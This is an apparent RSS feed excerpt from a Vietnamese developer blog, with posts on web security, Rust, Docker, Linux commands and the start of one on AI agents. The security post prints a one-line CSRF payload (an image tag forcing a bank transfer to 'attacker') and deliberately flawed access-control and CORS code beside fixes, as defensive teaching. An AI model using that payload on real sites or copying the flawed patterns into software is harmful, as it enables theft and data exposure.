&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ✅ Sanitize input — loại bỏ thẻ HTML nguy hiểm
import DOMPurify from &apos;dompurify&apos;;
const safe = DOMPurify.sanitize(userInput);

// ✅ CSP (Content Security Policy)
// Header: Content-Security-Policy: script-src &apos;self&apos;
// Chỉ cho chạy script từ cùng domain

// ✅ React/Astro tự động escape HTML
// &amp;#x3C;div&gt;{userInput}&amp;#x3C;/div&gt; → React escape, không chạy script
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rule: Không tin tưởng bất kỳ input nào từ người dùng.&lt;/p&gt;
&lt;h2&gt;3. CSRF (Cross-Site Request Forgery)&lt;/h2&gt;
&lt;p&gt;User đang đăng nhập ở bank.com. Attacker dụ user click link độc:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;img src=&quot;https://bank.com/transfer?amount=1000&amp;#x26;to=attacker&quot; /&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Trình duyệt tự động gửi cookie — server tưởng user chủ động chuyển tiền.&lt;/p&gt;
&lt;h3&gt;Phòng Tránh&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ✅ CSRF Token — gửi kèm mỗi form
app.use(csurf({ cookie: true }));

// ✅ SameSite Cookie
Set-Cookie: session=abc; SameSite=Strict

// ✅ Kiểm tra Referer/Origin header
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. Xác Thực &amp;#x26; Phân Quyền&lt;/h2&gt;
&lt;h3&gt;Lỗi Thường Gặp&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — dùng ID từ URL không kiểm tra quyền
app.get(&apos;/api/order/:id&apos;, (req, res) =&gt; {
  const order = db.getOrder(req.params.id);
  res.json(order);
});
// User A có thể xem order của User B bằng cách đổi ID

// ✅ Tốt — kiểm tra ownership
app.get(&apos;/api/order/:id&apos;, authenticate, (req, res) =&gt; {
  const order = db.getOrder(req.params.id);
  if (order.userId !== req.user.id) {
    return res.status(403).json({ error: &apos;Forbidden&apos; });
  }
  res.json(order);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;JWT Best Practices&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Tạo token
const token = jwt.sign(
  { userId: user.id, role: user.role },
  process.env.JWT_SECRET,
  { expiresIn: &apos;15m&apos; } // Token ngắn hạn
);

// Refresh token (lưu trong DB/httpOnly cookie)
const refreshToken = crypto.randomUUID();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. CORS — Không Phải Cứ Allow All Là Xong&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — cho phép tất cả
app.use(cors({ origin: &apos;*&apos; }));

// ✅ Tốt — whitelist cụ thể
app.use(cors({
  origin: [&apos;https://myapp.com&apos;, &apos;https://admin.myapp.com&apos;],
  credentials: true,
}));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6. Rate Limiting — Chống Brute Force&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import rateLimit from &apos;express-rate-limit&apos;;

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 phút
  max: 100,                  // tối đa 100 request
  message: &apos;Too many requests&apos;,
});

app.use(&apos;/api/auth&apos;, limiter);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7. Dependency — Mắt Xích Yếu Nhất&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kiểm tra lỗ hổng
npm audit
pnpm audit
bun audit

# GitHub Dependabot — tự động tạo PR update
# Snyk — quét CI/CD pipeline
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;npm ecosystem có hàng ngàn package — một package nhỏ bị compromise có thể ảnh hưởng toàn bộ hệ thống.&lt;/p&gt;
&lt;h2&gt;8. Environment Variables — Không Hardcode Secret&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# ❌ Tệ — commit secret vào git
DATABASE_PASSWORD = &quot;supersecret123&quot;

# ✅ Tốt — .env (thêm vào .gitignore!)
DATABASE_PASSWORD = ${DB_PASSWORD}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ
const secret = &apos;sk-123456789&apos;;

// ✅ Tốt
const secret = process.env.API_KEY;
if (!secret) throw new Error(&apos;Missing API_KEY&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Checklist Bảo Mật Tối Thiểu&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Parameterized queries cho database&lt;/li&gt;
&lt;li&gt;[ ] Validate &amp;#x26; sanitize mọi input&lt;/li&gt;
&lt;li&gt;[ ] HTTPS everywhere (HTTP Strict Transport Security)&lt;/li&gt;
&lt;li&gt;[ ] Cookie có &lt;code&gt;httpOnly&lt;/code&gt;, &lt;code&gt;secure&lt;/code&gt;, &lt;code&gt;sameSite&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;[ ] CORS whitelist cụ thể&lt;/li&gt;
&lt;li&gt;[ ] Rate limiting cho endpoint auth&lt;/li&gt;
&lt;li&gt;[ ] No hardcode secret&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;npm audit&lt;/code&gt; trong CI&lt;/li&gt;
&lt;li&gt;[ ] Dependency update định kỳ&lt;/li&gt;
&lt;li&gt;[ ] Logging &amp;#x26; monitoring&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Bảo mật là một quá trình, không phải đích đến. Không ai viết code an toàn 100% ngay từ đầu — nhưng biết các lỗ hổng phổ biến giúp bạn tránh được 90% rủi ro.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top Ten&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html&quot;&gt;OWASP SQL Injection Prevention&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot;&gt;MDN Content Security Policy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc8725&quot;&gt;JWT Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://express-rate-limit.mintlify.app&quot;&gt;express-rate-limit Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Rust — Ngôn Ngữ Tương Lai Của Lập Trình Hệ Thống</title><link>https://dopana-blog.pages.dev/blog/rust-intro</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/rust-intro</guid><description>Tại sao Rust đang dần thay thế C/C++ trong hệ sinh thái hiện đại và làm thế nào để bắt đầu.</description><pubDate>Sat, 20 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Rust đã giành chiến thắng &quot;Most Loved Language&quot; trên Stack Overflow suốt 9 năm liên tiếp. Không phải ngẫu nhiên — Rust mang lại tốc độ của C++ với safety của một ngôn ngữ hiện đại.&lt;/p&gt;
&lt;h2&gt;Rust Giải Quyết Vấn Đề Gì?&lt;/h2&gt;
&lt;p&gt;C/C++ cho phép bạn kiểm soát từng byte bộ nhớ — nhưng một sai sót nhỏ có thể gây ra buffer overflow, use-after-free, data race. Rust ngăn những lỗi này ngay tại compile time.&lt;/p&gt;
&lt;h2&gt;Ownership — Trái Tim Của Rust&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;fn main() {
    let s1 = String::from(&quot;hello&quot;);
    let s2 = s1; // s1 bị *move* vào s2

    // println!(&quot;{}&quot;, s1); // ❌ Lỗi compile! s1 không còn owner
    println!(&quot;{}&quot;, s2); // ✅ OK
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ba quy tắc Ownership:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Mỗi giá trị có một owner&lt;/li&gt;
&lt;li&gt;Chỉ một owner tại một thời điểm&lt;/li&gt;
&lt;li&gt;Owner ra khỏi scope → giá trị bị drop&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Borrowing — Mượn Không Chiếm&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;fn calculate_len(s: &amp;#x26;String) -&gt; usize {
    s.len()
} // s được trả về, không drop

fn main() {
    let s = String::from(&quot;hello&quot;);
    let len = calculate_len(&amp;#x26;s); // Mượn (&amp;#x26;), không move
    println!(&quot;{}: {}&quot;, s, len); // ✅ OK, s vẫn còn
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Mutable vs Immutable Borrow&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;let mut s = String::from(&quot;hello&quot;);

let r1 = &amp;#x26;s;     // OK
let r2 = &amp;#x26;s;     // OK (nhiều immutable borrow)
let r3 = &amp;#x26;mut s; // ❌ Lỗi! Không thể vừa immutable vừa mutable

println!(&quot;{}, {}&quot;, r1, r2);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Luật: Một trong hai — nhiều reader hoặc một writer. Không bao giờ cả hai cùng lúc.&lt;/p&gt;
&lt;h2&gt;Pattern Match — Của Để Dành&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;enum Result&amp;#x3C;T, E&gt; {
    Ok(T),
    Err(E),
}

fn divide(a: f64, b: f64) -&gt; Result&amp;#x3C;f64, String&gt; {
    if b == 0.0 {
        Err(&quot;Cannot divide by zero&quot;.to_string())
    } else {
        Ok(a / b)
    }
}

fn main() {
    match divide(10.0, 0.0) {
        Ok(result) =&gt; println!(&quot;Result: {}&quot;, result),
        Err(msg) =&gt; println!(&quot;Error: {}&quot;, msg),
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Error Handling — Không Có Exception&lt;/h2&gt;
&lt;p&gt;Rust không có &lt;code&gt;try/catch&lt;/code&gt;. Thay vào đó dùng &lt;code&gt;Result&lt;/code&gt; và &lt;code&gt;?&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;use std::fs::File;
use std::io::Read;

fn read_file(path: &amp;#x26;str) -&gt; Result&amp;#x3C;String, std::io::Error&gt; {
    let mut file = File::open(path)?; // Nếu Err → return luôn
    let mut contents = String::new();
    file.read_to_string(&amp;#x26;mut contents)?;
    Ok(contents)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cargo — Trình Quản Lý Package Tốt Nhất Hệ Mặt Trời&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cargo new myapp # Tạo project mới
cargo build # Build
cargo run # Chạy
cargo test # Chạy test
cargo check # Kiểm tra lỗi (nhanh, không build)
cargo add serde # Thêm dependency
cargo fmt # Format code
cargo clippy # Lint — phát hiện lỗi tiềm ẩn
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ecosystem Nổi Bật&lt;/h2&gt;
&lt;p&gt;| Lĩnh vực | Framework/Thư viện |
|---|---|
| Web backend | Axum, Actix-web, Rocket |
| CLI | clap, rustyline |
| Database | sqlx, diesel, sea-orm |
| Networking | Tokio (async runtime) |
| WASM | wasm-pack, yew, leptos |
| Embedded | Embassy, rtic |
| GUI | Tauri (desktop app), egui, slint |
| Game | Bevy, macroquad |&lt;/p&gt;
&lt;h2&gt;Rust Trong Thực Tế&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Firefox — Dùng Rust viết engine CSS (Servo → Stylo)&lt;/li&gt;
&lt;li&gt;Linux kernel — Đã chính thức hỗ trợ Rust từ 6.1&lt;/li&gt;
&lt;li&gt;Cloudflare — Pingora (HTTP proxy thay thế nginx)&lt;/li&gt;
&lt;li&gt;Dropbox — Hệ thống đồng bộ file&lt;/li&gt;
&lt;li&gt;Discord — Real-time chat service&lt;/li&gt;
&lt;li&gt;Meta — Diem blockchain, các internal tool&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Nên Bắt Đầu Thế Nào?&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. Cài Rust
curl --proto &apos;=https&apos; --tlsv1.2 -sSf https://sh.rustup.rs | sh

# 2. Đọc sách (miễn phí)
# https://doc.rust-lang.org/book/

# 3. Làm bài tập
# https://rustlings.cool/

# 4. Xây thứ gì đó
# CLI tool, web server, hoặc game đơn giản
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Rust không dễ — learning curve dốc hơn hầu hết ngôn ngữ khác. Nhưng một khi đã hiểu Ownership, bạn sẽ thấy: Rust không chỉ là ngôn ngữ an toàn, nó còn giúp bạn viết code đúng ngay từ lần đầu. Khoản đầu tư xứng đáng cho 10 năm tới.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://doc.rust-lang.org/book/&quot;&gt;The Rust Programming Language Book&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://doc.rust-lang.org/stable/rust-by-example/&quot;&gt;Rust by Example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://doc.rust-lang.org/std/&quot;&gt;Rust Standard Library Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://doc.rust-lang.org/cargo/&quot;&gt;Cargo Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rustlings.cool/&quot;&gt;Rustlings — Interactive Exercises&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tokio.rs/&quot;&gt;Tokio — Async Runtime Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Docker Cho Lập Trình Viên — Từ Dev Đến Deploy</title><link>https://dopana-blog.pages.dev/blog/docker-for-devs</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/docker-for-devs</guid><description>Hiểu Docker qua thực hành: container hóa ứng dụng, Docker Compose cho môi trường dev, và CI/CD với Docker.</description><pubDate>Fri, 19 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Docker đã thay đổi cách chúng ta phát triển và triển khai phần mềm. &quot;Chạy được trên máy tôi&quot; không còn là câu nói cửa miệng nữa — nếu nó chạy trong container, nó chạy ở mọi nơi.&lt;/p&gt;
&lt;h2&gt;Docker Là Gì?&lt;/h2&gt;
&lt;p&gt;Docker là nền tảng container hóa. Khác với VM (máy ảo), container dùng chung kernel host, không cần guest OS riêng:&lt;/p&gt;
&lt;p&gt;| | VM | Container |
|---|---|---|
| Kích thước | GB | MB |
| Khởi động | Phút | Giây |
| Tài nguyên | Nhiều | Nhẹ |
| Cô lập | Kernel riêng (mạnh) | Chia sẻ kernel (đủ) |&lt;/p&gt;
&lt;h2&gt;Dockerfile — Công Thức Tạo Container&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;FROM node:20-alpine

WORKDIR /app

COPY package.json package-lock.json ./
RUN npm ci --production

COPY . .

EXPOSE 3000

CMD [&quot;node&quot;, &quot;dist/index.js&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Multi-stage Build — Tối Ưu Kích Thước&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;# Stage 1: Build
FROM node:20-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

# Stage 2: Production
FROM node:20-alpine
WORKDIR /app
COPY --from=builder /app/dist ./dist
COPY --from=builder /app/node_modules ./node_modules
EXPOSE 3000
CMD [&quot;node&quot;, &quot;dist/index.js&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Container cuối chỉ chứa đúng những gì cần chạy — thường nhỏ hơn 5 lần so với không dùng multi-stage.&lt;/p&gt;
&lt;h2&gt;Docker Compose — Môi Trường Dev Hoàn Chỉnh&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;services:
  app:
    build: .
    ports:
      - &apos;3000:3000&apos;
    volumes:
      - .:/app
      - /app/node_modules
    environment:
      - DATABASE_URL=postgres://user:pass@db:5432/myapp
    depends_on:
      - db

  db:
    image: postgres:16-alpine
    volumes:
      - pgdata:/var/lib/postgresql/data
    environment:
      - POSTGRES_PASSWORD=pass

volumes:
  pgdata:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chạy cả stack với một lệnh:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker compose up -d
docker compose logs -f
docker compose down
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Docker CLI — Lệnh Cần Nhớ&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Quản lý container
docker ps # Container đang chạy
docker ps -a # Tất cả container
docker logs -f &amp;#x3C;container&gt; # Live log
docker exec -it &amp;#x3C;container&gt; sh # Vào shell trong container
docker stop &amp;#x3C;container&gt; # Dừng
docker rm &amp;#x3C;container&gt; # Xóa

# Images
docker images # Danh sách image
docker rmi &amp;#x3C;image&gt; # Xóa image
docker pull node:20-alpine # Kéo image từ registry
docker build -t myapp . # Build image

# Dọn dẹp
docker system prune -a # Xóa container, image, cache không dùng
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Docker Cho CI/CD&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# .github/workflows/deploy.yml
jobs:
  build-and-push:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: docker build -t myapp:${{ github.sha }} .
      - run: docker push registry.example.com/myapp:${{ github.sha }}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Docker Compose Cho Production&lt;/h2&gt;
&lt;p&gt;Dùng Docker Compose cũng được, nhưng production nên dùng orchestration:&lt;/p&gt;
&lt;p&gt;| Công cụ | Khi nào dùng |
|---|---|
| Docker Compose | 1 server, stack đơn giản |
| Docker Swarm | Nhiều server, tích hợp sẵn |
| Kubernetes | Scale lớn, yêu cầu phức tạp |&lt;/p&gt;
&lt;h2&gt;Mẹo Hay&lt;/h2&gt;
&lt;h3&gt;.dockerignore&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;node_modules
.git
.env
*.md
dist
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Giảm Số Layer&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;# Tệ — mỗi RUN tạo một layer
RUN apt-get update
RUN apt-get install -y curl
RUN rm -rf /var/lib/apt/lists/*

# Tốt — gộp lại
RUN apt-get update &amp;#x26;&amp;#x26; \
    apt-get install -y curl &amp;#x26;&amp;#x26; \
    rm -rf /var/lib/apt/lists/*
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Không Chạy Container Bằng Root&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;RUN addgroup -S appgroup &amp;#x26;&amp;#x26; adduser -S appuser -G appgroup
USER appuser
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Docker không còn là &quot;option&quot; — nó là tiêu chuẩn. Dù bạn làm fullstack, backend, hay DevOps, biết Docker giúp bạn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chuẩn hóa môi trường dev&lt;/li&gt;
&lt;li&gt;Deploy nhất quán&lt;/li&gt;
&lt;li&gt;Scale dễ dàng&lt;/li&gt;
&lt;li&gt;Hợp tác với team dễ hơn&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hãy bắt đầu: &lt;code&gt;docker init&lt;/code&gt; (Docker mới có lệnh này) hoặc tự viết Dockerfile đầu tiên cho project hiện tại của bạn.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/&quot;&gt;Docker Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/reference/dockerfile/&quot;&gt;Dockerfile Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/compose/&quot;&gt;Docker Compose Overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/build/building/multi-stage/&quot;&gt;Multi-stage Builds&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/develop/dev-best-practices/&quot;&gt;Docker Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/reference/cli/docker/&quot;&gt;Docker CLI Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Linux Cho Developer: Những Lệnh Cơ Bản Ai Cũng Cần Biết</title><link>https://dopana-blog.pages.dev/blog/linux-for-devs</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/linux-for-devs</guid><description>Làm chủ terminal Linux với các lệnh thiết yếu giúp bạn làm việc hiệu quả hơn mỗi ngày.</description><pubDate>Thu, 18 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Dù bạn là web developer, mobile developer hay data scientist, Linux là môi trường bạn không thể tránh khỏi — server chạy Linux, CI/CD chạy Linux, thậm chí macOS cũng là họ hàng Unix. Bài này tổng hợp các lệnh Linux thiết yếu bạn cần biết.&lt;/p&gt;
&lt;h2&gt;1. Quản Lý File Và Thư Mục&lt;/h2&gt;
&lt;h3&gt;Di Chuyển Và Xem&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pwd # In ra thư mục hiện tại
ls -lah # Liệt kê file với quyền, kích thước, ngày
tree -L 2 # Cây thư mục, sâu 2 cấp
cd - # Quay lại thư mục trước đó
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Tìm Kiếm&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;find . -name &quot;*.ts&quot; -type f # Tìm file .ts
find . -size +1M # File lớn hơn 1MB
grep -rn &quot;TODO&quot; --include=&quot;*.ts&quot; # Tìm TODO trong file .ts
locate nginx.conf # Tra cứu nhanh (cần updatedb)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. Xem Và Quản Lý Tiến Trình&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ps aux # Danh sách tiến trình
top # Real-time, tương tác
htop # Đẹp hơn top (cần cài)
kill -9 PID # Kill tiến trình cứng đầu
kill -15 PID # Graceful shutdown
lsof -i :3000 # Process nào đang giữ port 3000
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. Network&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -I https://example.com # Chỉ lấy header HTTP
curl -X POST https://api.example.com # Gửi POST request
ping -c 4 google.com # Kiểm tra kết nối
traceroute google.com # Xem đường đi gói tin
ss -tuln # Port nào đang lắng nghe
nc -zv host 22 # Kiểm tra port có mở không
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. Disk Và Memory&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;df -h # Dung lượng ổ cứng
du -sh * # Dung lượng từng thư mục con
du -sh --exclude=node_modules . # Bỏ qua node_modules
free -h # RAM
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. File Permissions&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chmod 755 script.sh # -rwxr-xr-x: owner full, group/other đọc+chạy
chmod +x script.sh # Thêm execute
chown user:group file # Đổi chủ sở hữu
umask 022 # Mặc định: file 644, folder 755
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6. SSH Keys &amp;#x26; Remote&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ssh-keygen -t ed25519 -C &quot;email@example.com&quot; # Tạo key
ssh-copy-id user@server # Copy key lên server
ssh -i ~/.ssh/custom_key user@host -p 2222 # Custom key và port
rsync -avz --progress ./dist/ user@server:/var/www/ # Sync thư mục
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7. Logs Và Systemd&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;journalctl -u nginx --since &quot;1 hour ago&quot; # Log của service nginx
journalctl -f # Live log
systemctl status nginx # Trạng thái service
systemctl restart nginx # Restart service
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Mẹo Nhỏ Tiết Kiệm Thời Gian&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Lịch sử lệnh
history | grep docker
!! # Chạy lại lệnh trước
!$ # Tham số cuối của lệnh trước
!docker # Chạy lệnh docker gần nhất

# Alias hữu ích (thêm vào ~/.zshrc hoặc ~/.bashrc)
alias gs=&quot;git status&quot;
alias gp=&quot;git push&quot;
alias ll=&quot;ls -lah&quot;
alias ..=&quot;cd ..&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Linux không đáng sợ như bạn nghĩ. Học 20 lệnh trên đây là bạn đã xử lý được 90% tình huống hàng ngày. Còn lại — Google là bạn. Và nhớ: &lt;code&gt;man&lt;/code&gt; là người bạn tốt nhất của bạn (&lt;code&gt;man ls&lt;/code&gt;, &lt;code&gt;man grep&lt;/code&gt;...).&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/UsingTheTerminal&quot;&gt;Linux Command Line (Ubuntu Documentation)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://linuxcommand.org/tlcl.php&quot;&gt;The Linux Command Line Book (William Shotts)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://linuxjourney.com&quot;&gt;Linux Journey&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wiki.archlinux.org&quot;&gt;Arch Linux Wiki&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://explainshell.com&quot;&gt;ExplainShell — Explain Linux Commands&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>AI Agent — Khi AI Tự Lập Kế Hoạch Và Thực Thi</title><link>https://dopana-blog.pages.dev/blog/ai-agent</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/ai-agent</guid><description>AI Agent không chỉ trả lời câu hỏi — nó có thể lập kế hoạch, dùng công cụ, và tự động thực hiện tác vụ nhiều bước thay bạn.</description><pubDate>Mon, 15 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Chatbot thụ động đang lùi vào dĩ vãng. Thay vào đó là các AI Agent — hệ thống có khả năng chủ động lập kế hoạch, gọi công cụ bên ngoài, và thực thi tác vụ nhiều bước mà không cần con người can thiệp từng bước.&lt;/p&gt;
&lt;h2&gt;AI Agent Khác Gì Chatbot Thường?&lt;/h2&gt;
&lt;p&gt;| Chatbot truyền thống | AI Agent |
|---|---|
| Trả lời dựa trên prompt đơn lẻ | Có memory và context xuyên suốt |
| Không thể tự động làm gì ngoài trò chuyện | Có thể chạy code, gọi API, đọc file |
| Mỗi câu hỏi là một phiên riêng biệt | Có khả năng suy luận nhiều bước (multi-step reasoning) |
| Không tự kiểm tra kết quả | Có thể tự đánh giá và sửa sai (self-healing) |&lt;/p&gt;
&lt;h2&gt;Kiến Trúc Cơ Bản Của AI Agent&lt;/h2&gt;
&lt;p&gt;Một AI Agent điển hình gồm ba thành phần chính:&lt;/p&gt;
&lt;h3&gt;1. Core Model (LLM)&lt;/h3&gt;
&lt;p&gt;Trái tim của agent — một mô hình ngôn ngữ lớn có khả năng suy luận. Các model phổ biến: GPT-4, Claude 3.5 Sonnet, Gemini, DeepSeek, Llama 3.&lt;/p&gt;
&lt;h3&gt;2. Tool System&lt;/h3&gt;
&lt;p&gt;Agent không chỉ nói — nó cần làm. Tool system cung cấp các &quot;đôi tay&quot; cho agent:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Code interpreter — Chạy Python, JavaScript, shell command&lt;/li&gt;
&lt;li&gt;File I/O — Đọc, ghi, tìm kiếm file&lt;/li&gt;
&lt;li&gt;Web search — Tìm kiếm thông tin trên Internet&lt;/li&gt;
&lt;li&gt;API calls — Gọi REST API, database query&lt;/li&gt;
&lt;li&gt;Browser — Tương tác với trình duyệt web&lt;/li&gt;
&lt;/ul&gt;
